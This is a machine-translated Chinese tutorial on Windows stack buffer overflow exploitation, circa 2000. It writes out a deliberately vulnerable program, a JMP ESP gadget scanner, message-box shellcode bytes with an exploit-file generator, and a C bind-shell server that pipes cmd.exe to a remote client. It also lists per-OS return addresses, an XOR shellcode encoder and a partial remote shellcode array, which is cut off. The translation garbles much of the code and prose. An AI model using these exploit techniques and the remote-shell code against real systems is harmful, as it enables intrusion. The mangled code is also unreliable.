Windows overflow information

xiaoxiao2021-03-06  62

Original: jason translation / finishing / adaptation: Backend April 12, 2000 - [Foreword I read many articles about buffers overflow on the Internet. The vast majority of them are based on the * NIX operating system platform. Later, I was fortunate to read IPXODI's "Stack overflow under Windows System" (already published in the third phase of the Green League Network Security Monthly 2000), and happened to see Mr. Jason's "Windows Nt Buffer Overflow's from Start to Finish", Thanks to a lot. During the translation of Mr. Jason's article, since I installed Windows 2000 Server, I found that the details were slightly transported when debugging the original program. Therefore, the relevant source programs, dynamic link libraries, and offset provided herein are subject to the debugging of my machine. (For different versions of dynamic link libraries, the programmer needs to be debugged.) This article should be entry level. Although it is relatively simple, the buffer overflow under the Windows system has certain versatility. For example, the stack overflow address is determined, the search and use of the jump instruction, the writing of the execution code, and so on. As long as you find that there is a program where the buffer overflow vulnerability in the Windows system is found, attack tests can be conducted through these steps. However, as IPXODI is pointed out, since the version of the dynamic link library in Windows is faster, it is necessary to debug according to the actual platform of the programmer. When publishing such security vulnerabilities or overflows, the source code, system platform, and dynamic link library have clearly cleared. Otherwise, others may be very powerful. ;) [Debug, Test Environment Microsoft Visual C 6.0 Microsoft Windows 2000 Server (Chinese version, internal version number: 2195) - [debug, test process first, write a application where there is a buffer overflow vulnerability. The program can read the contents of the file so that we can overflow the program by modifying the content read file. ;-) Create a new console application in the Visual C development environment, select "An Application That Supports MFC" and click "Finish". (Note: It is actually not necessarily the MFC application, but it is just my own habit.

;-))) Add some necessary code to this application, as follows: cwinapp theapp; using namespace std; void overflow (char * buff); void overflow (char * buff) {cfile file; cfileException Er; if (! File.open ("overflow.txt"), cfile :: modeRead, & er) {Er.ReportError (); return;} int x = file.getlength (); file.read (buff, x);} INT _TMAIN (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0; // initialize mfc and print and error on failure if (! AFXWININIT (: getModuleHandle (NULL), NULL,: Getcommandline (), 0) {// Todo: Change Error Code To Suit your Needs CERR <<_T ("Fatal Error: MFC Initialization Failed") << ENDL; NRETCODE = 1;} else {charff [10]; Overflow (BUFF);} return nretcode;} Now analyze the top C code, find a vulnerability. This is a MFC console application, "main" function is somewhat different from other programs, but the working mechanism is basically consistent. We mainly analyze the "else" code in this function. The first line is the first line "CHAR BUFF [10]" defines a 10-character local variable. We all know that the memory space of local variables is assigned in the stack. (If you don't even know this, it is recommended not to continue to see it down. :)) Then call the bufflow function as a parameter. Ok, let us analyze the Overflow function. The first is a CFILE object, then a cfileException object. Next, try to open the file "Overflow.txt" in the current directory by reading permissions. If the open is successful, all the contents in the file are read into the buff array variable. Discover the problem? BUFF variables are only 10 characters long. What happens if the content of the file read is 100? Yes, "buffer overflow"! And the buffer overflows occurred in the stack. You can see it in the later tests, what can we do with this vulnerability! ;) Now let's create a text file "overflow.txt" and put it in the Project directory of this application. Let us discuss the memory structure of Windows NT / 2000 before proceeding. Each process of NT / 2000 is assigned a 4GB (0xFFFFFFFF) virtual memory at startup. Some of these parts are actually shared by all processes, such as cores, and device driver areas. But they are all mapped to virtual address spaces for each process. There is virtually no process allocated to 4GB of physical memory, but only the physical memory is allocated only when needed. So each process has its own 4GB virtual memory, and the address range is from 0x00000000 to 0xFFFFFFF. Among them, 0x00000000-0x0000FFFF is allocated to NULL pointer. Accessing the area memory will result in an "illegal access" error.

0x00010000-0x7ffefff is a user's process space. The image of the EXE file is loaded to (start address 0x00400000), the DLL (dynamic link library) is also loaded into this space. If the code of the DLL or EXE is loaded into certain addresses of the range, it can be executed. Access to this area has no code loaded in this area will result in an "illegal access" error. 0x7fff0000-0x7FFFFFF is a reserved area, any access to this area will result in an "illegal access" error. 0x80000000-0xFffffFFF is only for operating systems. Used to load device drivers and other core level code. Accessing from user-level applications (Ring 3) will result in an "illegal access" error. Now return to the "overflow.txt" file. Now we will continue to add characters to this text file until the system dialog box that the application is illegally accessed. Here, it is important to populate what character is important (the reason will be known). I chose lowercase letters "a" to fill the text file. We already know that the buffer is only 10 characters long, then fill 11 characters first. (Note: Compiling applications in DEBUG, otherwise the result may vary.) no response. We continue to fill characters ... until 18 characters apply to crash. But this crash is not much for us. Continue to fill! When the string length is 24, run the program and observe the pop-up dialog information: "0x61616161" instruction references "0x61616161" memory. This memory cannot be "Written". "I think everyone should know" 0x61 " What is the ASCII code? ;) If your machine is installed in Visual C , click the "Cancel" button to debug the application. After entering the debugging environment, select the "View" menu - "Debug Windows" - "Registers", open the register window. If you have no one in the compilation, it is recommended to find a book of this compilation first. The contents of registers such as EAX, EBS, and EIP are seen in the register window. EIP is of course the most important. The content of the EIP is the address of the program to perform instructions next step. We noticed that the value of the ESP register was not broken, and it seems that it is not far from our buff variable. Next, we need to find out how the value of the ESP is processed. It will be complex now (this is the source of fun! :)). Set breakpoints at the last line code of the main function, because we only care about what happened here. Start the debugger now, and make the program run until the breakpoint. Then switch to the reverse assembly window (press Alt 8, or click "View" - "DISASSEMBLY"). Also open the memory window and register window. 0040155B 5F pop edi 0040155C 5E pop esi 0040155D 5B pop ebx 0040155E 83 C4 50 add esp, 50h 00401561 3B EC cmp ebp, esp 00401563 E8 7E 00 00 00 call _chkesp (004015e6) 00401568 8B E5 mov esp, ebp 0040156A 5D pop ebp 0040156B What is C3 RET? Assembly code. If you don't understand the compilation, I do something simple here. The first line is "POP EDI". The directive POP is used to move the data secondary to the top of the stack to the subsequent registers. It should be noted that the ESP register. ESP is a 32-bit stack pointer.

A POP instructions move a data unit at the top of the stack, here is DWORD (double word, 4 bytes) to the specified register and add the stack pointer 4 (because a total of 4 bytes). Let's take a look at the ESP register before performing the next step. Enter an ESP in the memory window to get the current pointing from the ESP. Look at the four bytes of content and the contents of the EDI register in the memory address pointing to the ESP. Now "POP.edi" now, we can see the value of the memory address pointed to the ESP in the EDI register, and the value of ESP has also increased 4. The following two instructions are the same, but the registers are different. Single to perform them. The three-way instructions followed by this article did not make sense, so they did not explain here. Single step to the instruction "MOV ESP, EBP", which assumes the value of the EBP to the ESP register. Then the command "POP EBP", which is important. Let us enter ESP in the memory window, you can see that the memory address has a string "0x61" ('a' 16 enumeration value). Therefore, 0x61616161 will be popped up to the EBP register. Single step execution This instruction can be verified that I said correct? ;) Ok, although I said it is right, but it seems that we haven't obtained anything that useful? Now, the last instruction "RET" is now. The command "RET" is the return instruction in the assembly. How do it know where to return? Decide by the value currently located at the top of the stack. This instruction can be represented as "POP EIP" if the POP instruction is represented (although you can't do this POP instruction;)). It pops up 4 bytes from the ESP to the memory address, and assigns the EIP register (the EIP register is a 32-bit instruction pointer). This means that no matter which memory address is pointed to, the instruction at the address will always be the next instruction. We will enter the ESP again in the memory window, see what the instructions that will be assigned to the EIP register. In fact, I would like to know that you should know the 0x61 string of 4 words. Now let's write this instruction, see the value of EIP is 0x61616161, that is, the next command address is 0x61616161, but the instruction is displayed as? "(Meaning invalid instruction). Therefore, then the command will result in an "access illegal" error. Now look at the ESP register. It correctly points to the next value in the stack. That is, the next step is to determine if the address pointed to by the ESP can be stored in our overflow code when it is determined that the buffer is successfully overflow (EIP = 0x61616161). We add 4 'a' (a total of 28 'a') again in the overflow.txt file, and debug the program again. Observe the memory window and register window when executed to the RET command, and will find the "RET" instruction. The content of the memory address is directed to the memory address of the 4-byte length of the 0x61 string. Great! what does this mean? ! Let everyone want to go. ;))) Now I will go back and analyze it. We just used the character 'a' (0x61) as the population of the text file to determine the buffer overflow. Since EIP = 0x61616161, the system is erroneously caused when our program access to the instruction attempt to access the address, because it is an invalid instruction. But what if the address pointed to the executable code? For example, loaded into memory DLL code, etc..

Haha, this will execute these instructions, so that some people can do not imagine! , Good, so far, we can control the value of EIP, and also know the stack position points to the ESP, and can write any data to the stack. So what is the next step? Of course, it is a way to find the system to perform our overflow code. If you have seen IPXODI's article "Stack overflow under the Windows system", you will know that the jump instruction (JMP ESP) is best. The reason is no longer more here, please read it carefully to read "The stack overflow under the Windows system" is clear. As analyzed in front, this is because the ESP can point to our overflow code after executing the RET instruction! (... oh, I can't find it. I didn't have analyzed it? In this article, I look for words "great", huh, now we have to find the address containing the "JMP ESP" instruction in the application's memory space. First of all, it is of course a machine code for determining this command. How to determine? Do you have to teach this? Ok, teach it. Only this time, no violation. ;) Actually, it is very simple, follow these steps. Create a new application in Visual C . (Of course, the console program, or support MFC, this is my habit. Oh.) Enter the following code: cwinapp theapp; using namespace std; int _tmain (int Argc, tchar * argv [], tchar * envp []) { INT nretcode = 0; // Initialize MFC and Print and Error On Failure IF (! AfxwinInit (: getModuleHandle (null), null, :: getcommandline (), 0)) {// Todo: Change Error Code To Suit your Needs CERR << _T ("Fatal Error: MFC Initialization") << Endl; Nretcode = 1;} else {return 0; __ASM JMP ESP} return nretcode;} Ok, then set the correct debug break in the Visual C environment point. where? Yes, at "Return 0;". Then operate the program so that it is suspended at the breakpoint. Now (Select "View" menu - "Debug Windows" - "Disassembly") Opens the Negatives window and right-click in the reverse assembly window, select "Source Annotation" and "Code Bytes" in the Right-click pop-up menu. . At this time, "FF E4" on the left side of the memory address column, (JMP ESP) instruction column is the machine code "JMP ESP". If you need to find the machine code of other assembly instructions, it is basically available. The next step is how to find this string machine code in our process space.

It is also very simple, just modify the code: cwinapp theapp; using namespace std; int _tmain (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0; // initialize mfc and print and ERROR ON FAILURE IF (! getModuleHandle (null), null, :: getcommandline (), 0)) {// Todo: Change Error Code To Suit Your Needs Cerr << _t ("Fatal Error: MFC Initialization Failed << ENDL; NRETCODE = 1;} else {#if 0 Return 0; __ASM JMP ESP #ELSE BOOL WE_LOADED_IT = FALSE; Hinstance H; Tchar Dllname [] = _T ("User32"); h = getModuleHandle (DLLNAME) ; if (h == null) {h = loadLibrary (dllname); if (h == null) {cout << "error loading DLL:" << Dllname << endl; return 1;} WE_LOAD_IT = true;} Byte * PTR = (byte *) h; Bool Done = false; for (int y = 0;! DONE; Y ) {== 0xFF && PTR [Y 1] == 0xE4) { INT POS = (int) PTR Y; cout << "opcode found at 0x" << HEX << POS << Endl;}} catch (...) {cout << "end of" << Dllname << "Memory Reached" << Endl; Done = true;}} f (we_loaded_it) Freelibrary (h); #ENDIF} return nretcode;} Maybe you will be strange, why not use Ker NEL32.DLL? Is it more common? I was also looking for "FF E4" in the process space of the dynamic link library Kernel32, but I can't find it at one place! (And found at least 6 in Windows NT 4!: (() Later I tried to find it in user32.dll, finally found a place. Running program output: opcode found 0x77e2e32a end of user32 memory reached pay attention, different Dynamic link library and version, the result may be different. My dynamic link library user32.dll version is 5.00.2180.1. Now use a 16-credit editor (such as Ultra Edit) to open overflow.txt text files, The 21-character position starts input 2A E3 E2 77.

(Why do you want to enter 2A E3 E2 77? Why do you want to explain, if you don't understand this, I suggest you try to study the buffer overflow!) Let's first keep the back four ' A 'character. Use the debugger to run the program, execute it to the "Ret" command to see if the next instruction is "JMP ESP", and the content of the ESP before "JMP ESP" is executed is 0x61616161. If everything is correct, ok, so far so good.;) Let's make more exciting things - write the execution code after the buffer overflow. First, you must ensure that all required dynamic link libraries are loaded into the process space. One way is to utilize the dynamic link library called itself; another method is to load the dynamic link library in the overflow code. (There is a detailed introduction in IPXODI's "Windows Surface Sprinkle".) I use the first method here. why? Because it is simple. , Huh, in order to program the simple, the main purpose of this article is to teach, the focus is the principle, so the code is only popped up with a message box. If you want to write more aggressive or more complex execution code, please refer to IPXODI's "Stack Overflow under Windows System" and "Advanced Buffer Overflow" in the Green Corps. However, the consequences are at your own risk! First we have to find how to call the MessageBox function in your code. According to the Windows API document, MessageBox depends on user32.lib, which means it is located in the User32.dll dynamic link library. Start the Depends tool, open the application that will be overflow, you can find that it will load user32.dll. Then look for the memory location of the Messagebox function. In the user32.dll of my machine, the offset of the MessageBoxa (ASCII version) function is 0x00033d68. User32.dll's starting address in memory is 0x77df0000. Add the two to get the absolute memory address of the Messagebox function is 0x77E23D68. So we need to set the stack correctly in the assembly code and call 0x77E23D68.

According to the WinAmp buffer of Steve Fewer, I wrote the assembly code as follows: Push EBP PUSH ECX MOV EBP, ESP SUB ESP, 54H XOR ECX, ECX MOV BYTE PTR [EBP-14H], 'S' MOV BYTE PTR [EBP-13H], 'u' MOV BYTE PTR [EBP-12H], 'C' MOV BYTE PTR [EBP-11H], 'C' MOV BYTE PTR [EBP-10H], 'E' MOV BYTE PTR [EBP-0FH], 'S' MOV BYTE PTR [EBP-0EH], 'S' MOV BYTE PTR [EBP-0DH], CL MOV BYTE PTR [EBP-0CH], 'W' MOV BYTE PTR [EBP- 0BH], 'E' MOV BYTE PTR [EBP-0AH], '' MOV BYTE PTR [EBP-9], 'G' MOV BYTE PTR [EBP-8], 'o' MOV BYTE PTR [EBP-7], 'T' MOV BYTE PTR [EBP-6], '' MOV BYTE PTR [EBP-5], 'I' MOV BYTE PTR [EBP-4], 'T' MOV BYTE PTR [EBP-3], '!' MOV BYTE PTR [EBP-2], Cl Push Ecx Lea Eax, [EBP-14H] Push Eax Lea Eax, [EBP-0CH] Push EAX PUSH ECX MOV DWORD PTR [EBP-18H], 0X 77E23D68 Call DWORD PTR [EBP -18h] MOV ESP, EBP POP ECX POP EBP All assembly code will call the MessageBox function located at the 0x77E23D68 to bring it to "Success", the message content is "We got it!" Message box. It must be noted that we cannot use 0 (NULL) as characters in a string, and if you don't work, please refer to IPXODI's "Stack Overflow under Windows System" and the "Advanced Buffer Overflow" in the Green Corps. Now we have to get the machine code of these assembly code. The method has been introduced earlier and no longer repeat. Finally finishing the resulting machine code is: x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45 xeex63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4d xf3xc6x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8 x6fxc6x45xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfd x21x88x4dxfex51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3d xe2x77xffx55xe8x8bxe5x59x5d if we enter into these overflow.txt file, will be able to successfully overflow and pop our custom message box. But when you click the "OK" button, the application will crash. To avoid this, we need to call the EXIT function to close the program normally. Check the Windows API documentation that you need to import MSVCRT.LIB, so it is sure to be in the MSVCRT.DLL dynamic link library.

Using the Depends Tool will find that the application loads MSVCRTD.DLL instead of MSVCRT.DLL because our application is now using debugging version. But there is not much difference. MSVCRTD.DLL in memory is 0x10200000, and EXTRY POINT is 0x0000AF90, the absolute address of the exit function is 0x1020af90. Therefore, assembly code is: Push EBP PUSH ECX MOV EBP, ESP SUB ESP, 10H XOR ECX, ECX PUSH ECX MOV DWORD PTR [EBP-4], 0x1020AF90 Call DWORD PTR [EBP-4] MOV ESP, EBP POP ECX POP EBP The code calls the EXIT function with 0 to the parameter, enabling the application to run with code 0. The machine code obtained later is as follows: x55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xffx55xfcx8bxe5x59x5d now inputs the above two string machine code into the overflow.txt file (at the 25th byte as the starting position.

Don't ask why this time? ! If you still don't understand, review the previous content!) If you are troubles, you can use the following procedure (how, enough friends?;): Cwinapp theapp; using namespace std; int _tmain (int Argc, tchar * argv [], Tchar * envp []) {INT nretcode = 0; // Initialize MFC and Print And Error On Failure if (! AFXWININIT (: getModuleHandle (Null), NULL, :: getcommandline (), 0) {CERR << _T ("Fatal Error: MFC Initialization Failed") << Endl; Nretcode = 1;} else {char buffer [20]; // 0x77e2e32a //User32.dll JMP ESP Char EIP [] = "x2axe3xe2x77"; char sploit [] = "x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45xee" "x63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4dxf3xc6" "x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8x6fxc6x45" "xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfdx21x88x4dxfe" "x51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3dxe2x77xffx55xe8x8b" "xe5x59x5dx55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xff" "x55xfcx8bxe5x59x5d"; for (int x = 0; x <20; x ) {buffer [x] = 0x90;} CFile file File.open ("overflow.txt", cfile :: modecreate | cfile :: modewrite; file. Write (Buffer, 20); File.Write (EIP, Strlen (EIP)); file.write (sploit, strlen (sploit)); file.close ();} return nretcode;} In ensuring all files content and location After all correct, run the spilled program .......... Haha, our message box is coming out! ! ! Click the "OK" button, the program is turned off! ! ! B: remote stack overflow windows under a principle of article: ipxodi ---- preface us to study remote overflow method in the windows system. Our goal is to study how to use the Windows program overflow for remote attacks. If the buffer under Windows is not very familiar, please review my previous article: "Stack overflow under the WINDOW system" (IsBaseMagzine 20003). This article and subsequent "actual combat articles" are based on this article.

Let us start from the beginning. Windows 2000 Advanced Server (Build 5.00.2195) The first "principle" ---- How does a remote overflow algorithm open a remote shell? The idea is this: first make the enemy's program overflow, let him perform our shellcode. Our SHELLCODE function is to open a Telnetd server with a port on the enemy machine and wait for the connection to the customer. When the customer is connected, create a cmd.exe for this customer, link the customer's input and output and cmd.exe's input and output, our remote user has a remote shell (like Telnet). The above algorithm I want everyone to get it, this Socket part is relatively simple. The basics under Unix are almost almost. Just adding a WSAStartup; creating a cmd.exe for the customer, is to create this sub-process with createProcess; how do you link the customer's input output and cmd.exe output input? I use an anonymous pipe to complete this contact process. Pipe (PIPE) is a simple process communication (IPC) mechanism. It can be used under Windows NT, 2000, 98, 95. There are two types and anonymous pipes, and the named pipe can communicate two-way communication between the different processes of the same machine and different processes on different machines (using UNC naming specifications). The anonymous pipeline is only communicating between the two sub-processes between the parent-child process or one process. He is one-way. Anonymous pipe is actually achieved by a famous pipe for a specified name. The greatest advantage of the pipe is that he can operate like a normal file. His operator is Handle, that is, he can use the readfile, the WriteFile function to perform read and write operations with the underlying implementation! The user does not have to know the specific details of communication between networks / processes.

Here is the C implementation of this algorithm: / *********************************************************** ******************************************* ********* * / / * Telnetd.cpp by ipxodi test in Win2000 to illustrate the method Of telnetd. Only One Connection Can Be Accept, Feel Free To Add Select ... to fit for multiple client * / #include #include int main () {Wsadata WSA; Socket Listenfd; char Buff [1024]; int ret; WSAStartup (MAKEWORD (2,2), & wsa); listenFD = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons (53764) ; server.sin_addr.s_addr = ADDR_ANY; ret = bind (listenFD, (sockaddr *) & server, sizeof (server)); ret = listen (listenFD, 2); int iAddrSize = sizeof (server); SOCKET clientFD = accept (listenFD (SOCKADDR *); / * This code is used to build a TCP Server, let's apply for a socketfd, use 53764 (casual, how many rows) as this socket connection, bind, then Wait at this port to wait for the Listen. The program blocks in the Accept function until there is a Client connection. * / SECURITY_ATTRIBUTES sa; sa.nLength = 12; sa.lpSecurityDescriptor = 0; sa.bInheritHandle = true; HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; ret = CreatePipe (& hReadPipe1, & hWritePipe1, & sa, 0); ret = CreatePipe (& hReadPipe2 , & hwritepipe2, & sa, 0); / * Create two anonymous pipes. Hreadpipe can only be used to read the pipeline, and hwritepipe1 can only be used to write pipes.

* / STARTUPINFO si; ZeroMemory (& si, sizeof (si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine [] = "cmd.exe"; process_information processinformation; reset, cmdline, null, null, 1, 0, null, null, & si, & processinformati on); / * This code created a shell (cmd.exe), And replace the CMD.exe's standard input with the second pipeline reader. CMD.exe's standard output and standard error output replace the write handle of the first pipe. The logical schematic of these two pipes is as follows: (Parent Process) Read <--- [Pipeline One] <--- Write Standard Output (CMD.exe Process) (Parent Process) WRITE ---> [Pipeline 2] - -> Read standard input (cmd.exe child process) * / unsigned long lbytesread; while (1) {RET = peeknamedpipe (hreadpipe1, buff, 1024, & lbytesread, 0, 0); if (lbytesread) {RET = ReadFile Hreadpipe1, buff, lbytesread, & lbytesread, 0); if (! RET) Break; Ret = Send (ClientFD, BUFF, LBYTESREAD, 0); IF (RET <= 0) Break;} else {lbytesread = Recv (Clientfd, Buff 1024, 0); if (lbytesread <= 0) Break; Ret = Writefile (hwritepipe2, buff, lbytesread, & lbytesread, 0); if (! RET) Break;}} / * This code completed customer input and shell Interaction. PeeknamedPipe is used asynchronous query pipeline, see if the shell has output. If you read the readfile and send it to the customer. If not, you will accept the customer's input. Writefile is written to the pipe to the shell. The cooperation of the two pipes and client and server is as follows: Enter the command (CLIENT) <- [pipe 1] <- WRITE standard output (cmd.exe sub-process) Get the result (Client) RECV -> (Parent Process) Write -> [Pipeline 2] -> Read Standard Enter (CMD.exe Process) * / Return 0;} / ** *********************************************************** *********************** * / ---- Shellcode troubleshooting below to write shellcode.

For the particularity of the Windows system buffer overflow, shellcode has some new issues. I use the following ways to solve: 1) The problem of jump instruction addresses is the address behind the return address because the function returns when the function returns. (Why? Because the ESP is returned to the address, the parent function is pressed by the parameter, ready to execute the top before the CALL subsidiary.) So, our shellcode's start position is when the function returns, ESP pointed s position. Therefore, using JMP ESP can jump to our shellcode. Of course, this is a hypothesis that the program is the recovery of the caller to be responsible for the stack. The assembly code is this: push eax; push ebx; push ECX; Call Subrutine add ESP, 000c, Point to our shellcode start position. It will point to the position of Shellcode 0C. In fact, when you try to find an overflow point of the enemy program, this value (here 0C) is discovered very accurately, because you can see his compilation original code! In order to solve this situation, shellcode cannot be executed correctly, we can add 0C NOP in front of Shellcode. This way, what we need, is the address of a JMP ESP instruction in memory to overwrite the return of enemy programs. address. In memory, of course, there are many DLLs, there will be JMP ESP instructions, I chose the instruction inside kernel32.dll, because this kernel32.dll is the system core DLL, loaded in front, the DLL installation address of the following DLL will change with the previous DLL Changes, for versatility, Kernel32.dll. Then these addresses are fixed: Win98 second edition (4.00.2222a), return address is: 0xBFF795A3 WinNT4 (4.00.1381), return address is: 0x77f0eac3 Win2000 (5.00.2195), return the address: 0x77e2e32a The above address, we can use it when testing, however, in order to distinguish from the enemy, you need to first touch the enemy's operating system and the DLL version number. If the JMP ESP address is not correct, the enemy's program will appear "Invalid Page Error" dialog, and will be done, so before the attack, you must judge the type of enemy through some spider marts. Here is the code used to test time: #ifdef WIN2000 #define JUMPESP "x2axe3xe2x77" #endif #ifdef WINNT4 #define JUMPESP "xc3xeaxf0x77" #endif #ifdef WIN98 // 2222a #define JUMPESP "xa3x95xf7xbf" #endif #ifdef EXPLOIT #define JUMPESP "JMP ESP address on the enemy target program." #ENDIF If you have Softice, you can search FFE4 directly in memory.

If not, the Green Corps's backend writes a small program to search the FFE4 (JMP ESP) string in user32.dll. I changed him and searched for FFE4 in the specified DLL. The algorithm is as follows: / **************************************************** *******************************************FFE4.CPP by backend * / bool wE_loaded_it = false; hinstance h; tchar dllname [] = _T ("user32"); if (argc> 1) {structure (dllname, argv [1]);} h = getModuleHandle (dllname); if (h == null) {h = loadingLibrary (dllname); IF (h == null) {cout << "error Loading DLL:" << Dllname << endl; return 1;} we_loaded_it = true;} byte * ptr = (byte *) h; Bool Done = false; INT Y = 0;! DONE; Y ) {try {ix (PTR [Y] == 0xFF && PTR [Y 1] == 0xE4) {INT POS = (int) PTR Y; cout << "Opcode Found AT 0x "<< HEX << POS << Endl;}} catch (...) {cout <<" end of "<< Dllname <<" Memory Reached "<< Endl; Done = true;}} IF WEELIBRARY (H); / *************************************************************** ***************************************** Using the function used by Shellcode, using a lot of Win32 in shellcode Functions, such as ReadFile, CreateProcess, and more. These functions must be loaded into the process space of the enemy program. We will not guarantee all the functions we need to be on the enemy's remote service program. We hope to make a platform-independent shellcode, which must be: not directly using the OS version related function entry address. This is because the function entry address is different from the version of the OS / SP / upgrade. The only way is to use the loadLibrary load DLL to use the getProcAddress function to get the function address with each Win32 function used. This requires that there is a function name in our shellcode to save the function name of each of the functions used, and call the above two functions before the shellcode execution. But there is a problem, how is the address of loadLibrary and getProcadDress itself? We think about it, the role of these two functions? "Take the address of all other functions." Yes, they are too important, every Win32 program uses them! " So what about our target? There will be they will have them.

So, when writing Exploit, the address of these two functions is determined. How do I find the loading address of these two functions in the target program? Will they change depending on the enemy operating system? Not. These dynamic loaded functions have an entry table in the target program. Deloaded by the target program yourself, but his entry table address is fixed. You can use WDASM32 to search for LoadLibrary and getProcAddress, you can see what they correspond to the entry table address AAAA. In Shellcode, you can reference them directly with Call [AAAA]. 3) The string problem used in Shellcode has just solved the second question, and the third issue will lead to the third issue. The previous use of the function name table is mentioned to dynamically obtain the function address. But these function names must be ended in X0! The most basic one of our shellcode is definitely impossible to contain X0, nor can it have a return to change n. Solve the way, it is to encode the string table (so scary) to handle all illegal characters, Shellcode Decoded by a subroutine before use. The method I use is to handle the string for xor 0x99. This is a program. Here is the codec program: 0xb1, 0xc6, / * MOV CL, C6 * / 0x8b, 0xc7, / * xorshellcode * / / / * xorshellcode * / / * * / 0x48, / * DEC EAX * / 0x80, 0x30 , 0x99, / * xor byte PTR [EAX], 99 * / 0xE2, 0xfa, / * loop xorshellcode * / huh, not scary, is very simple, is it? The list of resources we will use is all the functions used in front, plus "cmd.exe". Specifically: /********************************************** *************************************** / DB "kernel32", 0; string to push for loadinglibrary. db "createpipe", 0 DB "getStartupinfoa", 0 dB "createprocessa", 0 dB "peeknamedpipe", 0 dB "globalalloc", 0 dB "writefile", 0 dB "readfile", 0 dB "Sleep", 0 DB "EXITPROCESS", 0 dB " WSOCK32 ", 0 DB" Socket ", 0 DB" Bind ", 0 DB" Listen ", 0 DB" Accept ", 0 DB" Send ", 0 DB" Recv ", 0 SOCKSTRUC SIN_FAMILY DW 0002H SIN_PORT DW? SIN_ADDR DD SIN_ZERO DB 8 DUP (0) SOCKSTRUC Ends DB "cmd.exe", 0 DD 0FFFFFFFH DB 00DH, 00AH / *********************** *********************************************************** * / 4) SHELLCODE Writing Compiles the previous C program, extracts shellcode, and then add the previous codec and function loading modules.

Application, we can write shellcode as follows: unsigned char sploit [580] = {0x90, 0x8b, 0xFc, / * MOV EDI, ESP * / 0X33, 0XC0, / * XOR EAX, EAX * / 0x50, / * push eax * / 0xf7, 0xD0, / * not eax * / 0x50, / * push eax * / 0x59, / * Pop ECX * / 0xF2, / * repnz * / 0xAF, / * scaSD * / 0x59, / * POP ECX * / 0xB1, 0XC6, / * MOV CL, C6 * / 0x8b, 0xc7, / * MOV EAX, EDI * / / * / 0X48, / * DEC EAX * / 0X80, 0x30, 0x99, / * xor byte ptr [eax], 99 * / 0xe2, 0xfa, / * loop xorshellcode * / 0x333, 0xf6, / * xor ESI, ESI * / 0X96, / * XCHG EAX, ESI * / 0xBB, 0x99, 0xE8, 0x61, 0x42, / * mov EBX, & loadLibrary * / 0xc1, 0xeb, 0x08, / * shr ebx, 08 * / 0x56, / * push eSi * / 0xff, 0x13, / * call dword PTR [EBX] * / 0x8b, 0xD0, / * MOV EDX, EAX * / 0XFC, / * CLD * / 0x33, 0xc9, / * xor ECX, ECX * / 0XB1, 0x0B, / * MOV CL, 0B * / 0X49, / * DEC ECX * / / / / * LoadkernelProcess * / / * * / 0x32, 0xc0, / * xor al, al * / 0xac, / * lodsb * / 0x84, 0xc0, / * test al, al * / 0x75, 0xf9, / * jne loadingkernelprocess * / 0x52 , / * push edx * / 0x51, / * push ecx * / 0x56, / * Push ESI * / 0x52, / * push edx * / 0xB3, 0xE4, / * MOV BL, E4 &

GetProcaddr * / 0xff, 0x13, / * call dword PTR [EBX] * / 0xAb, / * stosd * / 0x59, / * pop ECX * / 0x5a, / * Pop Edx * / 0xE2, 0xec, / * loop loadingkernelprocess * / / * * / 0x32, 0xc0, / * xor al, al * / 0xac, / * lodsb * / 0x84, 0xc0, / * test al, al * / 0x75, 0xf9, / * jne omy8, / 0 ×b3, 0xe8, / * MOV BL, E8 * / 0X56, / * PUSH ESI * / 0xFF, 0x13, / * Call DWORD PTR [EBX] * / 0x8b, 0xD0, / * MOV EDX, EAX * / 0xFC, / * CLD * / 0x33, 0xc9, / * xor ECX, ECX * / 0XB1, 0x06, / * MOV CL, 06 * / / * LOADSOCKETPROCESS * / 0X32, 0XC0, / * XOR Al, Al * / 0xAc, / * LODSB * / 0x84, 0xc0, / * TEST Al, Al * / 0x75, 0xf9, / * jne loadingsocketprocess * / 0x52, / * push edx * / 0x51, / * push ecx * / 0x56, / * push eSi * / 0x52, / * push edx * / 0xB3, 0xE4, / * MOV BL, E4 * / 0xFF, 0x13, / * Call DWORD PTR [EBX] * / 0xAb, / * stosd * / 0x59, / * pop ECX * / 0x5a, / * pop eDX * / 0xE2 , 0xec, / * loop loadsocketProcess * / / * This code is the early preparation work, it is responsible for getting all functions of the entry address, "kernel32.dll" "createpipe" "getStartupinfoa" "CreateProcessa" "PEEKNAMEDPIPE "" GlobalAlloc "" Writefile " "Readfile" "Sleep" "EXITPROCESS" "WSOCK32.DLL" "Socket" "Bind" "listen" "accept" "Send" "Recv"

